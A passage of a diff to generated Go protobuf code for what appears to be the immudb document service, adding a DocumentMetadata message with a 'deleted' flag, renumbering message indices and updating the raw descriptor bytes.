json:"transactionId,omitempty"` - Revision uint64 `protobuf:"varint,2,opt,name=revision,proto3" json:"revision,omitempty"` - Document *structpb.Struct `protobuf:"bytes,3,opt,name=document,proto3" json:"document,omitempty"` + TransactionId uint64 `protobuf:"varint,1,opt,name=transactionId,proto3" json:"transactionId,omitempty"` + Revision uint64 `protobuf:"varint,2,opt,name=revision,proto3" json:"revision,omitempty"` + Metadata *DocumentMetadata `protobuf:"bytes,3,opt,name=metadata,proto3" json:"metadata,omitempty"` + Document *structpb.Struct `protobuf:"bytes,4,opt,name=document,proto3" json:"document,omitempty"` } func (x *DocumentAtRevision) Reset() { @@ -1741,6 +1742,13 @@ func (x *DocumentAtRevision) GetRevision() uint64 { return 0 } +func (x *DocumentAtRevision) GetMetadata() *DocumentMetadata { + if x != nil { + return x.Metadata + } + return nil +} + func (x *DocumentAtRevision) GetDocument() *structpb.Struct { if x != nil { return x.Document @@ -1748,6 +1756,53 @@ func (x *DocumentAtRevision) GetDocument() *structpb.Struct { return nil } +type DocumentMetadata struct { + state protoimpl.MessageState + sizeCache protoimpl.SizeCache + unknownFields protoimpl.UnknownFields + + Deleted bool `protobuf:"varint,1,opt,name=deleted,proto3" json:"deleted,omitempty"` +} + +func (x *DocumentMetadata) Reset() { + *x = DocumentMetadata{} + if protoimpl.UnsafeEnabled { + mi := &file_documents_proto_msgTypes[30] + ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) + ms.StoreMessageInfo(mi) + } +} + +func (x *DocumentMetadata) String() string { + return protoimpl.X.MessageStringOf(x) +} + +func (*DocumentMetadata) ProtoMessage() {} + +func (x *DocumentMetadata) ProtoReflect() protoreflect.Message { + mi := &file_documents_proto_msgTypes[30] + if protoimpl.UnsafeEnabled && x != nil { + ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) + if ms.LoadMessageInfo() == nil { + ms.StoreMessageInfo(mi) + } + return ms + } + return mi.MessageOf(x) +} + +// Deprecated: Use DocumentMetadata.ProtoReflect.Descriptor instead. +func (*DocumentMetadata) Descriptor() ([]byte, []int) { + return file_documents_proto_rawDescGZIP(), []int{30} +} + +func (x *DocumentMetadata) GetDeleted() bool { + if x != nil { + return x.Deleted + } + return false +} + type DocumentAuditRequest struct { state protoimpl.MessageState sizeCache protoimpl.SizeCache @@ -1763,7 +1818,7 @@ type DocumentAuditRequest struct { func (x *DocumentAuditRequest) Reset() { *x = DocumentAuditRequest{} if protoimpl.UnsafeEnabled { - mi := &file_documents_proto_msgTypes[30] + mi := &file_documents_proto_msgTypes[31] ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) ms.StoreMessageInfo(mi) } @@ -1776,7 +1831,7 @@ func (x *DocumentAuditRequest) String() string { func (*DocumentAuditRequest) ProtoMessage() {} func (x *DocumentAuditRequest) ProtoReflect() protoreflect.Message { - mi := &file_documents_proto_msgTypes[30] + mi := &file_documents_proto_msgTypes[31] if protoimpl.UnsafeEnabled && x != nil { ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) if ms.LoadMessageInfo() == nil { @@ -1789,7 +1844,7 @@ func (x *DocumentAuditRequest) ProtoReflect() protoreflect.Message { // Deprecated: Use DocumentAuditRequest.ProtoReflect.Descriptor instead. func (*DocumentAuditRequest) Descriptor() ([]byte, []int) { - return file_documents_proto_rawDescGZIP(), []int{30} + return file_documents_proto_rawDescGZIP(), []int{31} } func (x *DocumentAuditRequest) GetCollection() string { @@ -1838,7 +1893,7 @@ type DocumentAuditResponse struct { func (x *DocumentAuditResponse) Reset() { *x = DocumentAuditResponse{} if protoimpl.UnsafeEnabled { - mi := &file_documents_proto_msgTypes[31] + mi := &file_documents_proto_msgTypes[32] ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) ms.StoreMessageInfo(mi) } @@ -1851,7 +1906,7 @@ func (x *DocumentAuditResponse) String() string { func (*DocumentAuditResponse) ProtoMessage() {} func (x *DocumentAuditResponse) ProtoReflect() protoreflect.Message { - mi := &file_documents_proto_msgTypes[31] + mi := &file_documents_proto_msgTypes[32] if protoimpl.UnsafeEnabled && x != nil { ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) if ms.LoadMessageInfo() == nil { @@ -1864,7 +1919,7 @@ func (x *DocumentAuditResponse) ProtoReflect() protoreflect.Message { // Deprecated: Use DocumentAuditResponse.ProtoReflect.Descriptor instead. func (*DocumentAuditResponse) Descriptor() ([]byte, []int) { - return file_documents_proto_rawDescGZIP(), []int{31} + return file_documents_proto_rawDescGZIP(), []int{32} } func (x *DocumentAuditResponse) GetRevisions() []*DocumentAtRevision { @@ -1888,7 +1943,7 @@ type DocumentProofRequest struct { func (x *DocumentProofRequest) Reset() { *x = DocumentProofRequest{} if protoimpl.UnsafeEnabled { - mi := &file_documents_proto_msgTypes[32] + mi := &file_documents_proto_msgTypes[33] ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) ms.StoreMessageInfo(mi) } @@ -1901,7 +1956,7 @@ func (x *DocumentProofRequest) String() string { func (*DocumentProofRequest) ProtoMessage() {} func (x *DocumentProofRequest) ProtoReflect() protoreflect.Message { - mi := &file_documents_proto_msgTypes[32] + mi := &file_documents_proto_msgTypes[33] if protoimpl.UnsafeEnabled && x != nil { ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) if ms.LoadMessageInfo() == nil { @@ -1914,7 +1969,7 @@ func (x *DocumentProofRequest) ProtoReflect() protoreflect.Message { // Deprecated: Use DocumentProofRequest.ProtoReflect.Descriptor instead. func (*DocumentProofRequest) Descriptor() ([]byte, []int) { - return file_documents_proto_rawDescGZIP(), []int{32} + return file_documents_proto_rawDescGZIP(), []int{33} } func (x *DocumentProofRequest) GetCollection() string { @@ -1960,7 +2015,7 @@ type DocumentProofResponse struct { func (x *DocumentProofResponse) Reset() { *x = DocumentProofResponse{} if protoimpl.UnsafeEnabled { - mi := &file_documents_proto_msgTypes[33] + mi := &file_documents_proto_msgTypes[34] ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) ms.StoreMessageInfo(mi) } @@ -1973,7 +2028,7 @@ func (x *DocumentProofResponse) String() string { func (*DocumentProofResponse) ProtoMessage() {} func (x *DocumentProofResponse) ProtoReflect() protoreflect.Message { - mi := &file_documents_proto_msgTypes[33] + mi := &file_documents_proto_msgTypes[34] if protoimpl.UnsafeEnabled && x != nil { ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) if ms.LoadMessageInfo() == nil { @@ -1986,7 +2041,7 @@ func (x *DocumentProofResponse) ProtoReflect() protoreflect.Message { // Deprecated: Use DocumentProofResponse.ProtoReflect.Descriptor instead. func (*DocumentProofResponse) Descriptor() ([]byte, []int) { - return file_documents_proto_rawDescGZIP(), []int{33} + return file_documents_proto_rawDescGZIP(), []int{34} } func (x *DocumentProofResponse) GetDatabase() string { @@ -2035,7 +2090,7 @@ type DocumentDeleteRequest struct { func (x *DocumentDeleteRequest) Reset() { *x = DocumentDeleteRequest{} if protoimpl.UnsafeEnabled { - mi := &file_documents_proto_msgTypes[34] + mi := &file_documents_proto_msgTypes[35] ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) ms.StoreMessageInfo(mi) } @@ -2048,7 +2103,7 @@ func (x *DocumentDeleteRequest) String() string { func (*DocumentDeleteRequest) ProtoMessage() {} func (x *DocumentDeleteRequest) ProtoReflect() protoreflect.Message { - mi := &file_documents_proto_msgTypes[34] + mi := &file_documents_proto_msgTypes[35] if protoimpl.UnsafeEnabled && x != nil { ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) if ms.LoadMessageInfo() == nil { @@ -2061,7 +2116,7 @@ func (x *DocumentDeleteRequest) ProtoReflect() protoreflect.Message { // Deprecated: Use DocumentDeleteRequest.ProtoReflect.Descriptor instead. func (*DocumentDeleteRequest) Descriptor() ([]byte, []int) { - return file_documents_proto_rawDescGZIP(), []int{34} + return file_documents_proto_rawDescGZIP(), []int{35} } func (x *DocumentDeleteRequest) GetQuery() *Query { @@ -2080,7 +2135,7 @@ type DocumentDeleteResponse struct { func (x *DocumentDeleteResponse) Reset() { *x = DocumentDeleteResponse{} if protoimpl.UnsafeEnabled { - mi := &file_documents_proto_msgTypes[35] + mi := &file_documents_proto_msgTypes[36] ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) ms.StoreMessageInfo(mi) } @@ -2093,7 +2148,7 @@ func (x *DocumentDeleteResponse) String() string { func (*DocumentDeleteResponse) ProtoMessage() {} func (x *DocumentDeleteResponse) ProtoReflect() protoreflect.Message { - mi := &file_documents_proto_msgTypes[35] + mi := &file_documents_proto_msgTypes[36] if protoimpl.UnsafeEnabled && x != nil { ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) if ms.LoadMessageInfo() == nil { @@ -2106,7 +2161,7 @@ func (x *DocumentDeleteResponse) ProtoReflect() protoreflect.Message { // Deprecated: Use DocumentDeleteResponse.ProtoReflect.Descriptor instead. func (*DocumentDeleteResponse) Descriptor() ([]byte, []int) { - return file_documents_proto_rawDescGZIP(), []int{35} + return file_documents_proto_rawDescGZIP(), []int{36} } var File_documents_proto protoreflect.FileDescriptor @@ -2280,206 +2335,213 @@ var file_documents_proto_rawDesc = []byte{ 0x76, 0x69, 0x73, 0x69, 0x6f, 0x6e, 0x73, 0x18, 0x02, 0x20, 0x03, 0x28, 0x0b, 0x32, 0x20, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x6d, 0x6f, 0x64, 0x65, 0x6c, 0x2e, 0x44, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x41, 0x74, 0x52, 0x65, 0x76, 0x69, 0x73, 0x69, 0x6f, 0x6e, 0x52, - 0x09, 0x72, 0x65, 0x76, 0x69, 0x73, 0x69, 0x6f, 0x6e, 0x73, 0x22, 0x8b, 0x01, 0x0a, 0x12, 0x44, + 0x09, 0x72, 0x65, 0x76, 0x69, 0x73, 0x69, 0x6f, 0x6e, 0x73, 0x22, 0xc7, 0x01, 0x0a, 0x12, 0x44, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x41, 0x74, 0x52, 0x65, 0x76, 0x69, 0x73, 0x69, 0x6f, 0x6e, 0x12, 0x24, 0x0a, 0x0d, 0x74, 0x72, 0x61, 0x6e, 0x73, 0x61, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x49, 0x64, 0x18, 0x01, 0x20, 0x01, 0x28, 0x04, 0x52, 0x0d, 0x74, 0x72, 0x61, 0x6e, 0x73, 0x61, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x49, 0x64, 0x12, 0x1a, 0x0a, 0x08, 0x72, 0x65, 0x76, 0x69, 0x73, 0x69, 0x6f, 0x6e, 0x18, 0x02, 0x20, 0x01, 0x28, 0x04, 0x52, 0x08, 0x72, 0x65, 0x76, 0x69, 0x73, - 0x69, 0x6f, 0x6e, 0x12, 0x33, 0x0a, 0x08, 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x18, - 0x03, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x17, 0x2e, 0x67, 0x6f, 0x6f, 0x67, 0x6c, 0x65, 0x2e, 0x70, - 0x72, 0x6f, 0x74, 0x6f, 0x62, 0x75, 0x66, 0x2e, 0x53, 0x74, 0x72, 0x75, 0x63, 0x74, 0x52, 0x08, - 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x22, 0x9a, 0x01, 0x0a, 0x14, 0x44, 0x6f, 0x63, - 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x41, 0x75, 0x64, 0x69, 0x74, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, + 0x69, 0x6f, 0x6e, 0x12, 0x3a, 0x0a, 0x08, 0x6d, 0x65, 0x74, 0x61, 0x64, 0x61, 0x74, 0x61, 0x18, + 0x03, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x1e, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x6d, + 0x6f, 0x64, 0x65, 0x6c, 0x2e, 0x44, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x4d, 0x65, 0x74, + 0x61, 0x64, 0x61, 0x74, 0x61, 0x52, 0x08, 0x6d, 0x65, 0x74, 0x61, 0x64, 0x61, 0x74, 0x61, 0x12, + 0x33, 0x0a, 0x08, 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x18, 0x04, 0x20, 0x01, 0x28, + 0x0b, 0x32, 0x17, 0x2e, 0x67, 0x6f, 0x6f, 0x67, 0x6c, 0x65, 0x2e, 0x70, 0x72, 0x6f, 0x74, 0x6f, + 0x62, 0x75, 0x66, 0x2e, 0x53, 0x74, 0x72, 0x75, 0x63, 0x74, 0x52, 0x08, 0x64, 0x6f, 0x63, 0x75, + 0x6d, 0x65, 0x6e, 0x74, 0x22, 0x2c, 0x0a, 0x10, 0x44, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, + 0x4d, 0x65, 0x74, 0x61, 0x64, 0x61, 0x74, 0x61, 0x12, 0x18, 0x0a, 0x07, 0x64, 0x65, 0x6c, 0x65, + 0x74, 0x65, 0x64, 0x18, 0x01, 0x20, 0x01, 0x28, 0x08, 0x52, 0x07, 0x64, 0x65, 0x6c, 0x65, 0x74, + 0x65, 0x64, 0x22, 0x9a, 0x01, 0x0a, 0x14, 0x44, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x41, + 0x75, 0x64, 0x69, 0x74, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x12, 0x1e, 0x0a, 0x0a, 0x63, + 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, + 0x0a, 0x63, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x12, 0x1e, 0x0a, 0x0a, 0x64, + 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x49, 0x64, 0x18, 0x02, 0x20, 0x01, 0x28, 0x09, 0x52, + 0x0a, 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x49, 0x64, 0x12, 0x12, 0x0a, 0x04, 0x64, + 0x65, 0x73, 0x63, 0x18, 0x03, 0x20, 0x01, 0x28, 0x08, 0x52, 0x04, 0x64, 0x65, 0x73, 0x63, 0x12, + 0x12, 0x0a, 0x04, 0x70, 0x61, 0x67, 0x65, 0x18, 0x04, 0x20, 0x01, 0x28, 0x0d, 0x52, 0x04, 0x70, + 0x61, 0x67, 0x65, 0x12, 0x1a, 0x0a, 0x08, 0x70, 0x61, 0x67, 0x65, 0x53, 0x69, 0x7a, 0x65, 0x18, + 0x05, 0x20, 0x01, 0x28, 0x0d, 0x52, 0x08, 0x70, 0x61, 0x67, 0x65, 0x53, 0x69, 0x7a, 0x65, 0x22, + 0x57, 0x0a, 0x15, 0x44, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x41, 0x75, 0x64, 0x69, 0x74, + 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x12, 0x3e, 0x0a, 0x09, 0x72, 0x65, 0x76, 0x69, + 0x73, 0x69, 0x6f, 0x6e, 0x73, 0x18, 0x01, 0x20, 0x03, 0x28, 0x0b, 0x32, 0x20, 0x2e, 0x69, 0x6d, + 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x6d, 0x6f, 0x64, 0x65, 0x6c, 0x2e, 0x44, 0x6f, 0x63, 0x75, 0x6d, + 0x65, 0x6e, 0x74, 0x41, 0x74, 0x52, 0x65, 0x76, 0x69, 0x73, 0x69, 0x6f, 0x6e, 0x52, 0x09, 0x72, + 0x65, 0x76, 0x69, 0x73, 0x69, 0x6f, 0x6e, 0x73, 0x22, 0xb6, 0x01, 0x0a, 0x14, 0x44, 0x6f, 0x63, + 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x50, 0x72, 0x6f, 0x6f, 0x66, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x12, 0x1e, 0x0a, 0x0a, 0x63, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, 0x0a, 0x63, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x12, 0x1e, 0x0a, 0x0a, 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x49, 0x64, 0x18, 0x02, 0x20, 0x01, 0x28, 0x09, 0x52, 0x0a, 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x49, - 0x64, 0x12, 0x12, 0x0a, 0x04, 0x64, 0x65, 0x73, 0x63, 0x18, 0x03, 0x20, 0x01, 0x28, 0x08, 0x52, - 0x04, 0x64, 0x65, 0x73, 0x63, 0x12, 0x12, 0x0a, 0x04, 0x70, 0x61, 0x67, 0x65, 0x18, 0x04, 0x20, - 0x01, 0x28, 0x0d, 0x52, 0x04, 0x70, 0x61, 0x67, 0x65, 0x12, 0x1a, 0x0a, 0x08, 0x70, 0x61, 0x67, - 0x65, 0x53, 0x69, 0x7a, 0x65, 0x18, 0x05, 0x20, 0x01, 0x28, 0x0d, 0x52, 0x08, 0x70, 0x61, 0x67, - 0x65, 0x53, 0x69, 0x7a, 0x65, 0x22, 0x57, 0x0a, 0x15, 0x44, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, - 0x74, 0x41, 0x75, 0x64, 0x69, 0x74, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x12, 0x3e, - 0x0a, 0x09, 0x72, 0x65, 0x76, 0x69, 0x73, 0x69, 0x6f, 0x6e, 0x73, 0x18, 0x01, 0x20, 0x03, 0x28, - 0x0b, 0x32, 0x20, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x6d, 0x6f, 0x64, 0x65, 0x6c, - 0x2e, 0x44, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x41, 0x74, 0x52, 0x65, 0x76, 0x69, 0x73, - 0x69, 0x6f, 0x6e, 0x52, 0x09, 0x72, 0x65, 0x76, 0x69, 0x73, 0x69, 0x6f, 0x6e, 0x73, 0x22, 0xb6, - 0x01, 0x0a, 0x14, 0x44, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x50, 0x72, 0x6f, 0x6f, 0x66, - 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x12, 0x1e, 0x0a, 0x0a, 0x63, 0x6f, 0x6c, 0x6c, 0x65, - 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, 0x0a, 0x63, 0x6f, 0x6c, - 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x12, 0x1e, 0x0a, 0x0a, 0x64, 0x6f, 0x63, 0x75, 0x6d, - 0x65, 0x6e, 0x74, 0x49, 0x64, 0x18, 0x02, 0x20, 0x01, 0x28, 0x09, 0x52, 0x0a, 0x64, 0x6f, 0x63, - 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x49, 0x64, 0x12, 0x24, 0x0a, 0x0d, 0x74, 0x72, 0x61, 0x6e, 0x73, - 0x61, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x49, 0x64, 0x18, 0x03, 0x20, 0x01, 0x28, 0x04, 0x52, 0x0d, - 0x74, 0x72, 0x61, 0x6e, 0x73, 0x61, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x49, 0x64, 0x12, 0x38, 0x0a, - 0x17, 0x70, 0x72, 0x6f, 0x6f, 0x66, 0x53, 0x69, 0x6e, 0x63, 0x65, 0x54, 0x72, 0x61, 0x6e, 0x73, - 0x61, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x49, 0x64, 0x18, 0x04, 0x20, 0x01, 0x28, 0x04, 0x52, 0x17, - 0x70, 0x72, 0x6f, 0x6f, 0x66, 0x53, 0x69, 0x6e, 0x63, 0x65, 0x54, 0x72, 0x61, 0x6e, 0x73, 0x61, - 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x49, 0x64, 0x22, 0xe6, 0x01, 0x0a, 0x15, 0x44, 0x6f, 0x63, 0x75, - 0x6d, 0x65, 0x6e, 0x74, 0x50, 0x72, 0x6f, 0x6f, 0x66, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, - 0x65, 0x12, 0x1a, 0x0a, 0x08, 0x64, 0x61, 0x74, 0x61, 0x62, 0x61, 0x73, 0x65, 0x18, 0x01, 0x20, - 0x01, 0x28, 0x09, 0x52, 0x08, 0x64, 0x61, 0x74, 0x61, 0x62, 0x61, 0x73, 0x65, 0x12, 0x22, 0x0a, - 0x0c, 0x63, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x49, 0x64, 0x18, 0x02, 0x20, - 0x01, 0x28, 0x0d, 0x52, 0x0c, 0x63, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x49, - 0x64, 0x12, 0x20, 0x0a, 0x0b, 0x69, 0x64, 0x46, 0x69, 0x65, 0x6c, 0x64, 0x4e, 0x61, 0x6d, 0x65, - 0x18, 0x03, 0x20, 0x01, 0x28, 0x09, 0x52, 0x0b, 0x69, 0x64, 0x46, 0x69, 0x65, 0x6c, 0x64, 0x4e, - 0x61, 0x6d, 0x65, 0x12, 0x28, 0x0a, 0x0f, 0x65, 0x6e, 0x63, 0x6f, 0x64, 0x65, 0x64, 0x44, 0x6f, - 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x18, 0x04, 0x20, 0x01, 0x28, 0x0c, 0x52, 0x0f, 0x65, 0x6e, - 0x63, 0x6f, 0x64, 0x65, 0x64, 0x44, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x12, 0x41, 0x0a, - 0x0c, 0x76, 0x65, 0x72, 0x69, 0x66, 0x69, 0x61, 0x62, 0x6c, 0x65, 0x54, 0x78, 0x18, 0x05, 0x20, - 0x01, 0x28, 0x0b, 0x32, 0x1d, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, - 0x65, 0x6d, 0x61, 0x2e, 0x56, 0x65, 0x72, 0x69, 0x66, 0x69, 0x61, 0x62, 0x6c, 0x65, 0x54, 0x78, - 0x56, 0x32, 0x52, 0x0c, 0x76, 0x65, 0x72, 0x69, 0x66, 0x69, 0x61, 0x62, 0x6c, 0x65, 0x54, 0x78, - 0x22, 0x42, 0x0a, 0x15, 0x44, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x44, 0x65, 0x6c, 0x65, - 0x74, 0x65, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x12, 0x29, 0x0a, 0x05, 0x71, 0x75, 0x65, - 0x72, 0x79, 0x18, 0x01, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x13, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, - 0x62, 0x2e, 0x6d, 0x6f, 0x64, 0x65, 0x6c, 0x2e, 0x51, 0x75, 0x65, 0x72, 0x79, 0x52, 0x05, 0x71, - 0x75, 0x65, 0x72, 0x79, 0x22, 0x18, 0x0a, 0x16, 0x44, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, - 0x44, 0x65, 0x6c, 0x65, 0x74, 0x65, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x2a, 0x3d, - 0x0a, 0x09, 0x46, 0x69, 0x65, 0x6c, 0x64, 0x54, 0x79, 0x70, 0x65, 0x12, 0x0a, 0x0a, 0x06, 0x53, - 0x54, 0x52, 0x49, 0x4e, 0x47, 0x10, 0x00, 0x12, 0x0b, 0x0a, 0x07, 0x42, 0x4f, 0x4f, 0x4c, 0x45, - 0x41, 0x4e, 0x10, 0x01, 0x12, 0x0b, 0x0a, 0x07, 0x49, 0x4e, 0x54, 0x45, 0x47, 0x45, 0x52, 0x10, - 0x02, 0x12, 0x0a, 0x0a, 0x06, 0x44, 0x4f, 0x55, 0x42, 0x4c, 0x45, 0x10, 0x03, 0x2a, 0x4e, 0x0a, - 0x12, 0x43, 0x6f, 0x6d, 0x70, 0x61, 0x72, 0x69, 0x73, 0x6f, 0x6e, 0x4f, 0x70, 0x65, 0x72, 0x61, - 0x74, 0x6f, 0x72, 0x12, 0x06, 0x0a, 0x02, 0x45, 0x51, 0x10, 0x00, 0x12, 0x06, 0x0a, 0x02, 0x4e, - 0x45, 0x10, 0x01, 0x12, 0x06, 0x0a, 0x02, 0x4c, 0x54, 0x10, 0x02, 0x12, 0x06, 0x0a, 0x02, 0x4c, - 0x45, 0x10, 0x03, 0x12, 0x06, 0x0a, 0x02, 0x47, 0x54, 0x10, 0x04, 0x12, 0x06, 0x0a, 0x02, 0x47, - 0x45, 0x10, 0x05, 0x12, 0x08, 0x0a, 0x04, 0x4c, 0x49, 0x4b, 0x45, 0x10, 0x06, 0x32, 0xa1, 0x0f, - 0x0a, 0x0f, 0x44, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x53, 0x65, 0x72, 0x76, 0x69, 0x63, - 0x65, 0x12, 0x91, 0x01, 0x0a, 0x10, 0x43, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, - 0x43, 0x72, 0x65, 0x61, 0x74, 0x65, 0x12, 0x25, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, + 0x64, 0x12, 0x24, 0x0a, 0x0d, 0x74, 0x72, 0x61, 0x6e, 0x73, 0x61, 0x63, 0x74, 0x69, 0x6f, 0x6e, + 0x49, 0x64, 0x18, 0x03, 0x20, 0x01, 0x28, 0x04, 0x52, 0x0d, 0x74, 0x72, 0x61, 0x6e, 0x73, 0x61, + 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x49, 0x64, 0x12, 0x38, 0x0a, 0x17, 0x70, 0x72, 0x6f, 0x6f, 0x66, + 0x53, 0x69, 0x6e, 0x63, 0x65, 0x54, 0x72, 0x61, 0x6e, 0x73, 0x61, 0x63, 0x74, 0x69, 0x6f, 0x6e, + 0x49, 0x64, 0x18, 0x04, 0x20, 0x01, 0x28, 0x04, 0x52, 0x17, 0x70, 0x72, 0x6f, 0x6f, 0x66, 0x53, + 0x69, 0x6e, 0x63, 0x65, 0x54, 0x72, 0x61, 0x6e, 0x73, 0x61, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x49, + 0x64, 0x22, 0xe6, 0x01, 0x0a, 0x15, 0x44, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x50, 0x72, + 0x6f, 0x6f, 0x66, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x12, 0x1a, 0x0a, 0x08, 0x64, + 0x61, 0x74, 0x61, 0x62, 0x61, 0x73, 0x65, 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, 0x08, 0x64, + 0x61, 0x74, 0x61, 0x62, 0x61, 0x73, 0x65, 0x12, 0x22, 0x0a, 0x0c, 0x63, 0x6f, 0x6c, 0x6c, 0x65, + 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x49, 0x64, 0x18, 0x02, 0x20, 0x01, 0x28, 0x0d, 0x52, 0x0c, 0x63, + 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x49, 0x64, 0x12, 0x20, 0x0a, 0x0b, 0x69, + 0x64, 0x46, 0x69, 0x65, 0x6c, 0x64, 0x4e, 0x61, 0x6d, 0x65, 0x18, 0x03, 0x20, 0x01, 0x28, 0x09, + 0x52, 0x0b, 0x69, 0x64, 0x46, 0x69, 0x65, 0x6c, 0x64, 0x4e, 0x61, 0x6d, 0x65, 0x12, 0x28, 0x0a, + 0x0f, 0x65, 0x6e, 0x63, 0x6f, 0x64, 0x65, 0x64, 0x44, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, + 0x18, 0x04, 0x20, 0x01, 0x28, 0x0c, 0x52, 0x0f, 0x65, 0x6e, 0x63, 0x6f, 0x64, 0x65, 0x64, 0x44, + 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x12, 0x41, 0x0a, 0x0c, 0x76, 0x65, 0x72, 0x69, 0x66, + 0x69, 0x61, 0x62, 0x6c, 0x65, 0x54, 0x78, 0x18, 0x05, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x1d, 0x2e, + 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x56, 0x65, + 0x72, 0x69, 0x66, 0x69, 0x61, 0x62, 0x6c, 0x65, 0x54, 0x78, 0x56, 0x32, 0x52, 0x0c, 0x76, 0x65, + 0x72, 0x69, 0x66, 0x69, 0x61, 0x62, 0x6c, 0x65, 0x54, 0x78, 0x22, 0x42, 0x0a, 0x15, 0x44, 0x6f, + 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 